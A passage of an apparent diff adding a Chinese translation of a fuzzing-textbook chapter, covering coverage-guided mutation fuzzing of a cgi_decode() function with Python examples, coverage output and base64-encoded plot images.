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
+)
+
+这种策略的好处是，应用于较大的程序时，它将很乐于探索另一条路径–涵盖功能与功能之间的关系。 所需要的只是捕获覆盖范围的一种方法。
+
+## 经验教训
+
+*   随机生成的输入通常是无效的-因此主要行使输入处理功能。
+*   来自现有有效输入的变异具有较高的有效机会，因此可以行使输入处理以外的功能。
+
+## 后续步骤
+
+在有关[灰箱模糊](GreyboxFuzzer.html)的下一章中，我们进一步扩展了基于突变的测试的概念，其中包含*功率调度表*，可以为执行“不太可能”路径和种子运行的种子提供更多能量 与目标位置“更近”。
+
+## 练习
+
+### 练习1：对带有突变的CGI解码进行模糊处理
+
+将上述*指导的基于*突变的模糊技术应用于[“封面”](Coverage.html) 一章的`cgi_decode()`。 在涵盖`+`，`%`（有效和无效）和常规字符的所有变体之前，您需要进行几次试验？
+
+```py
+from [Coverage](Coverage.html) import cgi_decode
+
+```
+
+```py
+seed = ["Hello World"]
+cgi_runner = FunctionCoverageRunner(cgi_decode)
+m = MutationCoverageFuzzer(seed)
+results = m.runs(cgi_runner, 10000)
+
+```
+
+```py
+m.population
+
+```
+
+```py
+['Hello World', 'he_<+llo(or<D', 'L}eml &Wol%dD', 'L)q<}aml &cWol%d3D+']
+
+```
+
+```py
+cgi_runner.coverage()
+
+```
+
+```py
+{('__exit__', 25),
+ ('cgi_decode', 9),
+ ('cgi_decode', 10),
+ ('cgi_decode', 11),
+ ('cgi_decode', 12),
+ ('cgi_decode', 15),
+ ('cgi_decode', 16),
+ ('cgi_decode', 17),
+ ('cgi_decode', 18),
+ ('cgi_decode', 19),
+ ('cgi_decode', 20),
+ ('cgi_decode', 21),
+ ('cgi_decode', 22),
+ ('cgi_decode', 23),
+ ('cgi_decode', 24),
+ ('cgi_decode', 25),
+ ('cgi_decode', 26),
+ ('cgi_decode', 30),
+ ('cgi_decode', 31),
+ ('cgi_decode', 32),
+ ('run_function', 7)}
+
+```
+
+```py
+all_coverage, cumulative_coverage = population_coverage(
+    m.population, cgi_decode)
+
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+plt.plot(cumulative_coverage)
+plt.title('Coverage of cgi_decode() with random inputs')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered');
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAYIAAAEWCAYAAABrDZDcAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4zLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvIxREBQAAIABJREFUeJzt3XecFYXV//HPoVdB2IWlL70tirpiVzQWsKFJ/CUaazQaE6NJfPJo7DXGNJM8JjFGCbHEaEzsgmIDu4KiLL0X2WXpfWHL+f0xs3pdt1xg751bvu/Xa187d+qZO3PnTD1j7o6IiGSvJlEHICIi0VIiEBHJckoEIiJZTolARCTLKRGIiGQ5JQIRkSynRCC7zczONLMVZrbVzA5oxPHOMrPRuznMaDNb2VgxxDnNW8zskd3o/zIz+33Y3NXM5phZy0aIY6KZXVBP9wlmdsfeTqexmNkbZnZJEqZznZk9kOjpZBIlgjiY2TlmNi3c8BWHP8Ajo44rQr8BrnD3du7+cWON1N2Hu/sbjTW+VGBmLYAbgF8DuPtq4HXg0r0dt7uPdfd/hNO50Mze2ttxZgJ3/4W7JyPhJH0nJFGUCBpgZj8Ffg/8AugK9Ab+DIxLYgxmZqm0rPoAs6IOIk2MA+a6+2cx7R4FLosonriYWbOoY5Akcnf91fEHdAC2AmfV009LgkSxKvz7PdAy7DYHODWm32bAWuDA8POhwDvARuATYHRMv28AdwJvAzuAAcBF4Ti3AIuBy2rE8r9AcRjHJYADA2Li/A2wHFgN3Ae0rmOemhDsxS4DSoGHwu+iZfh9OLANWFTH8MOBycD6cFrXhe1bA/8ANoTz8b/AypjhlgLHN7BMWgMTwnHMBn5WYxzdgf8Aa4AlwJUx3ZoC1wGLwu9wOtAr7HY48CGwKfx/eMxwfYEp4TCTgXuBR2K617ccxwM31JiHZsB2oE8t89c3HE+T8PMDQGlM90eAH8esI5cAQ4EyoDJcPhvD7hOAPwEvhLG/D/Sv43vND5frxeE6MjVs/2+gJPxepgLDY4apd/zACcDccNh7w+/wkvrWsRqxXASsCJf194GDgU/D7+feetaRW6qXT8y4Lgjnay1wfY1+nwQeD+fhI2D/mO6f/4Zi5vkOoC3B77Iq/M63Eqx7o4BpwGaCdf93UW/H4trWRR1AKv8BY4AKoFk9/dwGvAd0AXIJNgi3h91uAh6N6fcUgr1DgB7AOuDk8EdxQvg5N+z+RrjiDifYcDQPh+8PGHAMwcbkwJhYS8L+2wAP8+VE8HvgWaAT0B54Drirjnn6LrAQ6Ae0A/4LPBzT/Us/jhrDtidIRlcDrcLPh4TdfkmwMdgX6Bn+qHc3EfwSeDOcj15AUfU4wu9xevi9twjjXwycFHb/GTATGBx+h/sDncNxbQDOC7/rs8PPncPh3gV+R5AIjybYYDwS53L8kFp2JMJ5P72OeVwOHBQ2zwvnYWhMtwNi1pHqDeuFwFs1xjOBIBmPCufrUeBfdUwzP1yuDxFs5FrHrAvt+WKHZ0Y84wdyCDaG3yRYd39C8Fu6JGa8ta5jMbHcR7AOnUiQ6J4m+J31IEgex9QxL7fw1UTwN4KdiP2BnTHf5y1AeUyc/0OwA9G8tnU9nOc7wubRxKy/MevKeWFzO+DQqLdjcW3rog4glf+A7wAlDfSzCDg55vNJwNKweQDBRqNN+PlR4Kaw+RpiNq5hu5eAC8LmN4DbGpj208BVYfN4Yjbs4bQ9/G8Ee/Cxe2uHAUvqGO+rwA9iPg8OfyzNws/1JYKzgY/r6Pb5Rjn8fAm7nwgWA2NiPl/KF4ngEGB5jf5/Dvw9bJ4HjKtlnOcBH9Ro9y7BxrU3wQasbUy3f8ZsaBpajgti443p523g/Drm8WHgp0BeGPOvCPaIax4tvEHDieCBmM8nE+6I1DLN/HC59qvnu+8Y9tOhofED5wPvxXQzYGVMvHWuYzGx9Ijpvg74Vszn/xAeGdUS5y18NRH0jOn+AfDtmH5j42xCsCNzVG3rOg0ngqnArUBOfetxqv2l0nnnVLQOyGngfGl3gsPbasvCdrj7QoJTIKeZWRvgdIKNCATn2c8ys43Vf8CRQLeYca2InZCZjTWz98xsfdj/yQR7XtVxrKhj2FyCo4TpMdOaFLaPd56aEVwjaUgvguRY13jrijFeNccRG2cfoHuN7/Q6voi7rthqzm/1eHuE3Ta4+7Z6plnfctxAsEddU3uCjXptphBsZI4m2LC8QXAEeAzwprtX1TFcbUpimrcT7KXW5/Pv1syamtkvzWyRmW0mSNTwxTpX3/i/tJw82ErGLrd41rHVMc07avnc0LzEqu97iI2ziiBhdd+Ncce6GBgEzDWzD83s1D0cT1IpEdTvXYJD0jPq6WcVwcagWu+wXbXHCPaSxwGzw+QAwcr3sLt3jPlr6+6/jBnWqxvC2w3/Q3Cev6u7dwReJNjTgmAvpmfMsL1imtcS/HCGx0yrg7vX9UOqbZ4q+PIPsS4rCE5f1aa+GONVXGO43jWmvaTGd9re3U9uILaa81s93s/C6e1rZm3rmWZ9y/FTgg3D58IdiwEE1xNqMwU4iiAZTAHeAo4gSART6hjG62i/u2LHcw7Bens8wTWi/LC90bAvLSczM7683PZmHWtssXE2IVhHq3/D2wl2oqrlxTR/5Tt39wXufjbBKay7gSdrrDspSYmgHu6+ieB885/M7Awza2NmzcM981+FvT0G3GBmuWaWE/Yfe4/5vwjOcV7OF0cDhP2cZmYnhXtercLb0WI3lLFaEJynXQNUmNnYcLzVngAuMrOh4dHHTTHzUUVwjvQeM+sCYGY9zOykOqb1GPATM+trZu0I7ph63N0r6vu+Qs8DeWb2YzNraWbtzeyQmBh/bmb7mlkP4Io4xldT7Dh6Aj+K6fYBsNnMrjGz1uH3WmBmB4fdHwBuN7OB4Z1Y+5lZZ4KEOii8TbiZmX0LGAY87+7LCC7+3WpmLcLbhk+LmWZDy/FFgg14rFEEpw9rHoUAwcaEIHGfS3DRtvrC4zeoOxGsBnqGt6s2lvYE59PXEWwMf7Ebw74ADDezr4eJ70q+vBHdm3WssR0UE+ePCeb5vbDbDOCccNmO4cvLcjXQ2cw6VLcws3PNLDf8zVUf8VUmfhb2jhJBA9z9dwTna28g2AivINiAPR32cgfBhuJTgguRH4XtqocvJjiyOJzgzoTq9isI9rauixnvz6hjmbj7FoIf0xMEpxvOIbj4W919IvBHgnvUF4bThGClhuBc9kLgvfAw/xWC87K1GU9wnnoqwYWzMr68wa1TGOcJBBvLEoJz5MeGnW8jOOxeEk7/yZj44nUrwWmEJcDLYZzV064Mpzsy7L6WYONf/UP9HcH39zLBhcwHCS6KrgNOJbjAvY7gbqZT3X1tONw5BNcf1gM3E1xQrZ5mQ8vxOWCImcWeavgOwYXQ+kwB1rn78pjPBtT13MZrBLf0lpjZ2jr62V0PEXzXnxHcofVe/b1/IfzuziK4uL8OGEhwXaTaHq9jCfAM8C2+uGHg6+5eHna7imCd2kiw3Kp/97j7XIKEtjg8Ldid4KaNWWa2FfgDwbWIsqTNyR6y8AKHZBgzG0pwR03LiPayGmRmlxP8UGruMWcUM7sUGObuPw6PyKYQ3PmT8huITGdmtxBcDD436liipIdGMoiZnUlwSN6W4Pzkc6mUBMysG8Htgu8S7CFeTXB/eUZz9/tjmksJ7vsXSRk6NZRZLiM4PbGI4Lzk5dGG8xUtgL8S3FL7GsEh+Z9r9hSW8Nhay991SY5XJCvo1JCISJbTEYGISJZLi2sEOTk5np+fH3UYIiJpZfr06Wvdva4HRz+XFokgPz+fadOmRR2GiEhaMbNan1WpSaeGRESynBKBiEiWUyIQEclySgQiIllOiUBEJMslLBGYWS8ze93M5pjZLDO7Kmzfycwmm9mC8P++iYpBREQalsgjggrgancfSvBO1x+a2TDgWuBVdx9I8JaiaxMYg4iINCBhzxGE5ZeLw+YtZjaH4I1P4wheuAHBi8zfICiRLCIRmVO8mYkzi6MOQ2px5oE96ZuT2HfbJOWBMjPLBw4A3id4u1Z1giiuflFKLcNcSvA+Wnr37l1bLyLSCDbtKOe8Bz9g7dadWDzvHpOkOrDPvumfCMK3D1W/aHqzxbmmhaV77wcoLCxUZTyRBPnNS/NYv20nz//oSAp6dGh4AMk4Cb1ryMyaEySBR939v2Hr1WFd+ur69KWJjEFE6vbJio088v4yzj8sX0kgiyXyriEjeBXgnPB1j9WeBS4Imy8gqEkvIklWUVnFdU/NJLddS64+cV